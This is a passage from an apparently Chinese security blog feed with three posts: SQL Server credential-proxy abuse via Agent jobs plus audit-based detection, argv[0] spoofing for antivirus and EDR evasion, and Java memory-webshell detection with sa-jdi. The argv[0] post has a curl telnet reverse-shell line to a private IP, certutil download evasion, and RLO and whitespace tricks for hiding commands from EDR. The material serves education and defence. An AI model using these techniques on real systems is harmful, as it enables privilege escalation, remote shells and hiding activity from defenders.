class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">USE msdb; </span><br><span class="line">GO </span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line"> proxy_id, </span><br><span class="line"> name <span class="keyword">AS</span> proxy_name, </span><br><span class="line"> credential_id, </span><br><span class="line"> enabled </span><br><span class="line"><span class="keyword">FROM</span> </span><br><span class="line"> dbo.sysproxies; </span><br><span class="line">GO </span><br></pre></td></tr></table></figure><p><img src="image-20240920100730186.png" alt="image-20240920100730186"></p><p>6.创建代理作业来执行所需的代码或命令,可用的默认选项包括PowerShell、VBScript、JScript和CMDEXEC。下面我们尝试在C:\Windows\Temp\文件夹中创建一个名为whoami.txt的文件,以证明该进程是在代理用户的上下文中执行的。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">USE msdb; </span><br><span class="line">GO </span><br><span class="line"></span><br><span class="line"><span class="comment">-- 创建一个代理作业</span></span><br><span class="line"><span class="keyword">EXEC</span> sp_add_job </span><br><span class="line"> <span class="variable">@job</span>_name <span class="operator">=</span> N<span class="string">'WhoAmIJob'</span>; <span class="comment">-- 代理作业名称</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 添加一个新的作业步骤执行whoami</span></span><br><span class="line"><span class="keyword">EXEC</span> sp_add_jobstep </span><br><span class="line"> <span class="variable">@job</span>_name <span class="operator">=</span> N<span class="string">'WhoAmIJob'</span>, </span><br><span class="line"> <span class="variable">@step</span>_name <span class="operator">=</span> N<span class="string">'ExecuteWhoAmI'</span>, </span><br><span class="line"> <span class="variable">@subsystem</span> <span class="operator">=</span> N<span class="string">'CmdExec'</span>, <span class="comment">-- 指定作业步骤要执行的子系统</span></span><br><span class="line"> <span class="variable">@command</span> <span class="operator">=</span> N<span class="string">'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt'</span>, <span class="comment">-- 指定要执行的命令 </span></span><br><span class="line"> <span class="variable">@on</span>_success_action <span class="operator">=</span> <span class="number">1</span>, <span class="comment">-- 1 表示在步骤成功时继续执行下一个步骤。</span></span><br><span class="line"> <span class="variable">@on</span>_fail_action <span class="operator">=</span> <span class="number">2</span>, <span class="comment">-- 2 表示在步骤失败时停止执行作业</span></span><br><span class="line"> <span class="variable">@proxy</span>_name <span class="operator">=</span> N<span class="string">'MyCredentialProxy'</span>; <span class="comment">-- 指定要用于执行作业步骤的代理</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 定义一个新的执行计划</span></span><br><span class="line"><span class="keyword">EXEC</span> sp_add_jobschedule </span><br><span class="line"> <span class="variable">@job</span>_name <span class="operator">=</span> N<span class="string">'WhoAmIJob'</span>, </span><br><span class="line"> <span class="variable">@name</span> <span class="operator">=</span> N<span class="string">'RunOnce'</span>, </span><br><span class="line"> <span class="variable">@freq</span>_type <span class="operator">=</span> <span class="number">1</span>, <span class="comment">-- 只执行一次</span></span><br><span class="line"> <span class="variable">@active</span>_start_date <span class="operator">=</span> <span class="number">20240919</span>, <span class="comment">-- 指定作业计划开始执行的日期</span></span><br><span class="line"> <span class="variable">@active</span>_start_time <span class="operator">=</span> <span class="number">120000</span>; <span class="comment">-- 指定作业计划开始执行的时间 </span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 将作业分配给本地服务器</span></span><br><span class="line"><span class="keyword">EXEC</span> sp_add_jobserver </span><br><span class="line"> <span class="variable">@job</span>_name <span class="operator">=</span> N<span class="string">'WhoAmIJob'</span>, </span><br><span class="line"> <span class="variable">@server</span>_name <span class="operator">=</span> N<span class="string">'(LOCAL)'</span>; </span><br></pre></td></tr></table></figure><p>这一步如果成功则继续下一步,如果显示下图中的<code>SQLServerAgent 当前未运行,因此无法将此操作通知它</code>则说明SQL Server代理服务没有开启,无法执行代理作业</p><p><img src="image-20240920101408848.png" alt="image-20240920101408848"></p><p>我们可以通过cmd命令开启SQL Server代理服务(SQL Server服务账户无权限开启)</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">net start SQLSERVERAGENT</span><br></pre></td></tr></table></figure><p><img src="image-20240920103349215.png" alt="image-20240920103349215"></p><blockquote><p>开启服务后可继续执行后续步骤,不需要再重新执行上面的操作。</p></blockquote><p>7.使用下面的查询来验证代理正在使用代理帐户。该查询还将列出配置为使用代理帐户运行的所有其他代理作业。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">USE msdb; </span><br><span class="line">GO </span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line"> jobs.name <span class="keyword">AS</span> JobName, </span><br><span class="line"> steps.step_id <span class="keyword">AS</span> StepID, </span><br><span class="line"> steps.step_name <span class="keyword">AS</span> StepName, </span><br><span class="line"> proxies.name <span class="keyword">AS</span> ProxyName, </span><br><span class="line"> ISNULL(credentials.name, <span class="string">'No Credential'</span>) <span class="keyword">AS</span> CredentialName, </span><br><span class="line"> ISNULL(credentials.credential_identity, <span class="string">'No Identity'</span>) <span class="keyword">AS</span> IdentityName </span><br><span class="line"><span class="keyword">FROM</span> </span><br><span class="line"> msdb.dbo.sysjobs <span class="keyword">AS</span> jobs </span><br><span class="line"><span class="keyword">JOIN</span> </span><br><span class="line"> msdb.dbo.sysjobsteps <span class="keyword">AS</span> steps <span class="keyword">ON</span> jobs.job_id <span class="operator">=</span> steps.job_id </span><br><span class="line"><span class="keyword">JOIN</span> </span><br><span class="line"> msdb.dbo.sysproxies <span class="keyword">AS</span> proxies <span class="keyword">ON</span> steps.proxy_id <span class="operator">=</span> proxies.proxy_id </span><br><span class="line"><span class="keyword">LEFT</span> <span class="keyword">JOIN</span> </span><br><span class="line"> sys.credentials <span class="keyword">AS</span> credentials <span class="keyword">ON</span> proxies.credential_id <span class="operator">=</span> credentials.credential_id </span><br><span class="line"><span class="keyword">WHERE</span> </span><br><span class="line"> steps.proxy_id <span class="keyword">IS</span> <span class="keyword">NOT</span> <span class="keyword">NULL</span> </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> </span><br><span class="line"> jobs.name, steps.step_id; </span><br></pre></td></tr></table></figure><p><img src="image-20240920100937644.png" alt="image-20240920100937644"></p><p>8.执行代理作业。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">EXEC</span> sp_start_job <span class="variable">@job</span>_name <span class="operator">=</span> N<span class="string">'WhoAmIJob'</span>; </span><br></pre></td></tr></table></figure><p><img src="image-20240920101947733.png" alt="image-20240920101947733"></p><p>9.查看<code>c:\windows\temp\whoami.txt</code>文件内容,可以发现命令被成功执行。</p><p><img src="image-20240920102007417.png" alt="image-20240920102007417"></p><p>综上,我们成功利用Sql Server的凭据对象来执行了相关用户的命令。除此之外,注意到在创建凭据对象的时候还保存了管理用户的密码,所以当我们发现存在凭据对象时还可以尝试获取用户的明文密码,<a href="https://www.netspi.com/blog/technical-blog/adversary-simulation/decrypting-mssql-credential-passwords/">decrypting-mssql-credential-passwords</a>一文中概述了整个解密过程,但需要系统管理员权限,可用于后渗透横向操作。</p><h2 id="防守检测">防守检测</h2><p>要检测使用代理帐户滥用凭据对象的情况,可以创建服务器和数据库审核规范,以便通过监视<code>sp_add_proxy</code>和<code>sp_grant_proxy_to_subsystem</code>存储过程的执行来识别何时创建代理帐户。SQL Server还可以配置为将这些事件发送到Windows应用程序日志,在该日志中可以对事件ID <code>33205</code>启用监视。</p><p>1.创建服务器审计。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Use master </span><br><span class="line"></span><br><span class="line"><span class="keyword">CREATE</span> SERVER AUDIT [ProxyAccountAudit] </span><br><span class="line"><span class="keyword">TO</span> APPLICATION_LOG </span><br><span class="line"><span class="keyword">WITH</span> (ON_FAILURE <span class="operator">=</span> CONTINUE); </span><br><span class="line">GO</span><br></pre></td></tr></table></figure><p><img src="image-20240920132427798.png" alt="image-20240920132427798"></p><p>2.创建数据库审计规范来捕获msdb数据库中的服务器级和数据库级更改。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">USE msdb; </span><br><span class="line">GO </span><br><span class="line"></span><br><span class="line"><span class="keyword">CREATE</span> DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec] </span><br><span class="line"><span class="keyword">FOR</span> SERVER AUDIT [ProxyAccountAudit] </span><br><span class="line"><span class="keyword">ADD</span> (<span class="keyword">EXECUTE</span> <span class="keyword">ON</span> OBJECT::[dbo].[sp_add_proxy] <span class="keyword">BY</span> [dbo]), <span class="comment">-- 指定要审核对 sp_add_proxy 存储过程的 EXECUTE 操作</span></span><br><span class="line"><span class="keyword">ADD</span> (<span class="keyword">EXECUTE</span> <span class="keyword">ON</span> OBJECT::[dbo].[sp_grant_proxy_to_subsystem] <span class="keyword">BY</span> [dbo]) <span class="comment">-- 指定要审核对 sp_grant_proxy_to_subsystem 存储过程的 EXECUTE 操作</span></span><br><span class="line"><span class="keyword">WITH</span> (STATE <span class="operator">=</span> <span class="keyword">ON</span>); </span><br><span class="line">GO </span><br></pre></td></tr></table></figure><p><img src="image-20240920132655859.png" alt="image-20240920132655859"></p><p>3.启用规范。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Use master </span><br><span class="line">GO </span><br><span class="line"><span class="keyword">ALTER</span> SERVER AUDIT [ProxyAccountAudit] <span class="keyword">WITH</span> (STATE <span class="operator">=</span> <span class="keyword">ON</span>); <span class="comment">-- 将审核状态设置为启用(ON)</span></span><br><span class="line">GO </span><br><span class="line">Use msdb </span><br><span class="line">GO </span><br><span class="line"><span class="keyword">ALTER</span> DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec] <span class="comment">-- 启用审核规范</span></span><br><span class="line"><span class="keyword">WITH</span> (STATE <span class="operator">=</span> <span class="keyword">ON</span>); </span><br><span class="line">GO </span><br></pre></td></tr></table></figure><p><img src="image-20240920132852047.png" alt="image-20240920132852047"></p><p>4.此时尝试执行代理帐户创建步骤并查看Windows应用程序日志中的事件ID <code>33205</code>,则可以看到<code>sp_add_proxy</code>和<code>sp_grant_proxy_to_subsystem</code>存储过程执行的实例。</p><p><img src="image-20240920133421408.png" alt="image-20240920133421408"></p><p>参考:</p><p><a href="https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/">Hijacking SQL Server Credentials using Agent Jobs for Domain Privilege Escalation </a></p>]]></content>
<summary type="html"><p>在某些渗透场景下,我们已经获取到了SQL server的DBA权限,可以通过<code>xp_cmdshell</code>或其他方法以SQL Server服务帐户执行系统命令,然而,SQL Server服务帐户被配置为作为<code>NT Service\MSSQLSER</summary>
<category term="提权" scheme="http://example.com/tags/%E6%8F%90%E6%9D%83/"/>
</entry>
<entry>
<title>探秘argv[0]:程序参数中的安全隐忧</title>
<link href="http://example.com/post/2024/%E6%8E%A2%E7%A7%98argv[0]%EF%BC%9A%E7%A8%8B%E5%BA%8F%E5%8F%82%E6%95%B0%E4%B8%AD%E7%9A%84%E5%AE%89%E5%85%A8%E9%9A%90%E5%BF%A7/"/>
<id>http://example.com/post/2024/%E6%8E%A2%E7%A7%98argv[0]%EF%BC%9A%E7%A8%8B%E5%BA%8F%E5%8F%82%E6%95%B0%E4%B8%AD%E7%9A%84%E5%AE%89%E5%85%A8%E9%9A%90%E5%BF%A7/</id>
<published>2024-09-13T03:27:44.000Z</published>
<updated>2024-09-13T09:48:41.458Z</updated>
<content type="html"><![CDATA[<h2 id="背景">背景</h2><p>在《<a href="https://www.wietzebeukema.nl/blog/why-bother-with-argv0">Why bother with argv[0]</a>》一文中,作者深入浅出地剖析了<code>argv[0]</code>在安全领域的潜在风险,学到了很多东西,与大家分享一下</p><h2 id="概念">概念</h2><p>程序命令行的第一个参数,通常反映程序的名称/路径,通常称为<code>argv[0]</code>,在大多数情况下可以设置为任意值而不会影响进程的流程。</p><p>创建两个.c文件,分别为<code>echo_test.c</code>和<code>echo2_test.c</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><unistd.h></span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">void</span>)</span>{</span><br><span class="line"><span class="keyword">return</span> execl(<span class="string">"/usr/bin/echo"</span>, <span class="string">"echo"</span>,<span class="string">"hello,world!"</span>,<span class="literal">NULL</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><unistd.h></span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">void</span>)</span>{</span><br><span class="line"><span class="keyword">return</span> execl(<span class="string">"/usr/bin/echo"</span>, <span class="string">"echo22222"</span>,<span class="string">"hello,world!"</span>,<span class="literal">NULL</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>echo2_test.c传入的<code>argv[0]</code>为echo22222,但二者运行后都产生了相同的效果,可见一般情况下修改<code>argv[0]</code>的值不会影响到整个程序的运行。</p><p><img src="image-20240912160742641.png" alt="image-20240912160742641"></p><blockquote><p><code>execl</code> 是 Unix 和类 Unix 操作系统中用于执行新程序的函数之一,属于 <code>exec</code> 函数族。<code>execl</code> 代表 “load”(加载),它用于替换当前进程映像,执行一个新的程序。函数原型如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">><span class="type">int</span> <span class="title function_">execl</span><span class="params">(<span class="type">const</span> <span class="type">char</span> *path, <span class="type">const</span> <span class="type">char</span> *arg0, ..., (<span class="type">char</span> *)<span class="literal">NULL</span>)</span>;</span><br></pre></td></tr></table></figure></blockquote><p>同时,在其他的编程语言中同样支持用户自定义<code>argv[0]</code></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">python3 -c <span class="string">"import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])"</span></span><br><span class="line">perl -e <span class="string">'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"'</span></span><br><span class="line">ruby -e <span class="string">"exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')"</span></span><br><span class="line">bash -c <span class="string">'exec -a "ARGV0" /path/to/binary --other --args --here'</span></span><br></pre></td></tr></table></figure><p>但从安全的角度来讲,利用<code>argv[0]</code>可造成一定程度的安全风险。</p><h2 id="杀软对抗">杀软对抗</h2><p>以Windows Defender 为例,如果直接通过certutil -urlcache下载文件则会被阻止,但如果通过python将<code>argv[0]</code>置空,则可以成功执行。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">下载echo1失败</span></span><br><span class="line">certutil -f -urlcache -split http://192.168.74.135/echo_test echo1</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">下载echo2失败</span></span><br><span class="line">python -c "import os; os.execvp('certutil.exe',['certutil','-f','-urlcache','-split','http://192.168.74.135/echo_test','echo2'])"</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">下载echo3成功</span></span><br><span class="line">python -c "import os; os.execvp('certutil.exe',[' ','-f','-urlcache','-split','http://192.168.74.135/echo_test','echo3'])" </span><br></pre></td></tr></table></figure><p><img src="image-20240912163734429.png" alt="image-20240912163734429"></p><p>另一种绕过的杀软的方法是向<code>argv[0]</code>中传入其他的正常内容来迷惑杀软,比如使用<code>attrib.exe</code>来隐藏文件时,可能会触发杀软,但在默认情况下,<code>desktop.ini</code> 文件是隐藏的,杀软可能会将这一情况进行排除,那么此时如果传入的<code>argv=["desktop.ini","+H","backdoor.exe"]</code>可以在一定程度上进行绕过。</p><h2 id="迷惑欺骗">迷惑欺骗</h2><p>某些情况下,EDR设备会获取某个进程的执行命令供安全人员用于分析网络安全事件,此时可以利用<code>argv[0]</code>对进程的执行命令进行伪装。</p><p>如下图所示,我们通过curl命令来反弹shell,同时令<code>argv[0]=curl localhost | grep</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bash -c "exec -a'curl localhost | grep' curl -Ns telnet://192.168.74.1:8888"</span><br></pre></td></tr></table></figure><p>此时通过ps命令显示的执行命令为:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl localhost | grep -Ns telnet://192.168.74.1:8888</span><br></pre></td></tr></table></figure><p>显然对安全人员的分析造成了一定的欺骗,同时<code>argv[0]</code>的内容可以修改得更加复杂来迷惑安全人员。</p><p><img src="image-20240912174449350.png" alt="image-20240912174449350"></p><p>在Windows平台还可以使用<code>RLO(Right-to-Left Override)</code>来实施干扰。</p><p>通过<code>\u202E</code>使后面的字符全部逆序显示来干扰安全人员的分析。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -c "import os; os.execvp('curl',['curl \u202E','http://www.baidu.com'])" </span><br></pre></td></tr></table></figure><p><img src="image-20240913100442544.png" alt="image-20240913100442544"></p><p>同时,也可以添加足够多的空白字符来隐藏执行的命令,在某些情况下,EDR为了节省开销只会截取特定长度的命令进行输出显示,从而让安全人员忽视这些危险操作。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -c "import os; os.execvp('curl',[' '*1000,'http://www.baidu.com'])"</span><br></pre></td></tr></table></figure><p><img src="image-20240913101137257.png" alt="image-20240913101137257"></p><h2 id="预防和检测">预防和检测</h2><p>对于网络安全人员来讲,我们应该要了解<code>argv[0]</code>如何工作以及它所带来的网络安全威胁,同时采取一定的手段进行规避检测,对于过长的或者包含有RLO字符的命令应标记为可疑;又或者在报告命令行参数时直接忽视掉<code>argv[0]</code>,以减小其带来的影响。</p><p>参考:</p><p><a href="https://www.wietzebeukema.nl/blog/why-bother-with-argv0">Why bother with argv[0]?</a></p>]]></content>
<summary type="html"><h2 id="背景">背景</h2>
<p>在《<a href="https://www.wietzebeukema.nl/blog/why-bother-with-argv0">Why bother with argv[0]</a>》一文中,作者深入浅出地剖析了<code>a</summary>
<category term="技术" scheme="http://example.com/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="免杀" scheme="http://example.com/tags/%E5%85%8D%E6%9D%80/"/>
</entry>
<entry>
<title>java内存马检测</title>
<link href="http://example.com/post/2024/java%E5%86%85%E5%AD%98%E9%A9%AC%E6%A3%80%E6%B5%8B/"/>
<id>http://example.com/post/2024/java%E5%86%85%E5%AD%98%E9%A9%AC%E6%A3%80%E6%B5%8B/</id>
<published>2024-08-22T02:30:44.000Z</published>
<updated>2024-09-09T09:02:24.830Z</updated>
<content type="html"><![CDATA[<h1 id="java内存马检测">java内存马检测</h1><p>核心思路:</p><p>1.利用<code>JDK</code>提供的<code>sa-jdi</code>的<code>API</code>基于黑名单<code>dump</code>存在于<code>JVM</code>中<strong>真正的</strong>字节码</p><p>2.基于<code>ASM</code>进行分析</p><p>3.反编译检测</p><h2 id="sa-jdi的基本使用">sa-jdi的基本使用</h2><h3 id="1-通过命令行dump-JVM中的class类">1.通过命令行dump JVM中的class类</h3><p><code>ClassDump</code>里可以设置两个System properties:</p><ul><li><code>sun.jvm.hotspot.tools.jcore.filter</code> Filter的类名</li><li><code>sun.jvm.hotspot.tools.jcore.outputDir</code> 输出的目录</li></ul><p><code>sd-jdi.jar</code> 里有一个<code>sun.jvm.hotspot.tools.jcore.PackageNameFilter</code>,可以指定Dump哪些包里的类。<code>PackageNameFilter</code>里有一个System property可以指定过滤哪些包:<code>sun.jvm.hotspot.tools.jcore.PackageNameFilter.pkgList</code></p><p>所以可以通过这样子的命令来使用:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">java -classpath <span class="string">"D:\env\Java\jdk1.8.0_65\lib\sa-jdi.jar"</span> -Dsun.jvm.hotspot.tools.jcore.filter=sun.jvm.hotspot.tools.jcore.PackageNameFilter -Dsun.jvm.hotspot.tools.jcore.PackageNameFilter.pkgList=com.example.filter -Dsun.jvm.hotspot.tools.jcore.outputDir=D:\ClassOut sun.jvm.hotspot.tools.jcore.ClassDump 16992</span><br><span class="line"></span><br><span class="line"><span class="comment">#其中com.example.filter表示需要dump的包</span></span><br><span class="line"><span class="comment">#D:\ClassOut表示输出文件的路径</span></span><br><span class="line"><span class="comment">#16992表示需要dump的JVM进程pid</span></span><br></pre></td></tr></table></figure><h3 id="2-通过api-dump-JVM中的class类">2.通过api dump JVM中的class类</h3><p>代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> sun.jvm.hotspot.HotSpotAgent;</span><br><span class="line"><span class="keyword">import</span> sun.jvm.hotspot.oops.InstanceKlass;</span><br><span class="line"><span class="keyword">import</span> sun.jvm.hotspot.tools.jcore.ClassDump;</span><br><span class="line"><span class="keyword">import</span> sun.jvm.hotspot.tools.jcore.ClassFilter;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JdiDemo</span> {</span><br><span class="line"> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">MyFilter</span> <span class="keyword">implements</span> <span class="title class_">ClassFilter</span> {</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">canInclude</span><span class="params">(InstanceKlass kls)</span> {</span><br><span class="line"> <span class="type">String</span> <span class="variable">klassName</span> <span class="operator">=</span> kls.getName().asString();</span><br><span class="line"> <span class="keyword">return</span> klassName.equals(<span class="string">"com/example/filter/Myfilter"</span>); <span class="comment">//指定dump的类</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"> <span class="type">int</span> <span class="variable">pid</span> <span class="operator">=</span> <span class="number">17072</span>; <span class="comment">//要dump的JVM的pid</span></span><br><span class="line"> <span class="type">ClassFilter</span> <span class="variable">filter</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">MyFilter</span>();</span><br><span class="line"> <span class="type">ClassDump</span> <span class="variable">classDump</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ClassDump</span>();</span><br><span class="line"> classDump.setClassFilter(filter);</span><br><span class="line"> classDump.setOutputDirectory(<span class="string">"D:\\ClassOut"</span>);<span class="comment">//输出位置</span></span><br><span class="line"> Class<?> toolClass = Class.forName(<span class="string">"sun.jvm.hotspot.tools.Tool"</span>);</span><br><span class="line"> <span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> toolClass.getDeclaredMethod(<span class="string">"start"</span>, String[].class);</span><br><span class="line"> method.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> String[] params = <span class="keyword">new</span> <span class="title class_">String</span>[]{String.valueOf(pid)};</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> method.invoke(classDump, (Object) params);<span class="comment">//通过反射调用start方法</span></span><br><span class="line"> } <span class="keyword">catch</span> (Exception ignored) {</span><br><span class="line"> System.out.println(ignored);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> System.out.println(<span class="string">"dump class finish"</span>);</span><br><span class="line"> <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> toolClass.getDeclaredField(<span class="string">"agent"</span>);</span><br><span class="line"> field.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">HotSpotAgent</span> <span class="variable">agent</span> <span class="operator">=</span> (HotSpotAgent) field.get(classDump);</span><br><span class="line"> agent.detach();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>通过以上代码可以dump出com.example.filter.Myfilter的类文件,针对类文件,可以使用ASM框架进行分析是否为恶意类。</p><h3 id="3-选择dump的类">3.选择dump的类</h3><p>一个JVM中包含了很多的类,但我们并不需要全部dump下来,<a href="https://github.com/LandGrey/copagent">copagent</a>项目给出了一些内存马的特征点,可以按这些特征点有选择性的dump类。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">MyFilter</span> <span class="keyword">implements</span> <span class="title class_">ClassFilter</span> {</span><br><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> String[] dginterfaces = {<span class="string">"javax/servlet/Filter"</span>,<span class="string">"javax/servlet/Servlet"</span>,<span class="string">"javax/servlet/ServletRequestListener"</span>};</span><br><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> String[] riskPackage = {<span class="string">"net/rebeyond/"</span>,<span class="string">"com/metasploit/"</span>};</span><br><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> String[] riskSuperClassesName = {<span class="string">"javax/servlet/http/HttpServlet"</span>};</span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">canInclude</span><span class="params">(InstanceKlass kls)</span> {</span><br><span class="line"><span class="type">String</span> <span class="variable">klassName</span> <span class="operator">=</span> 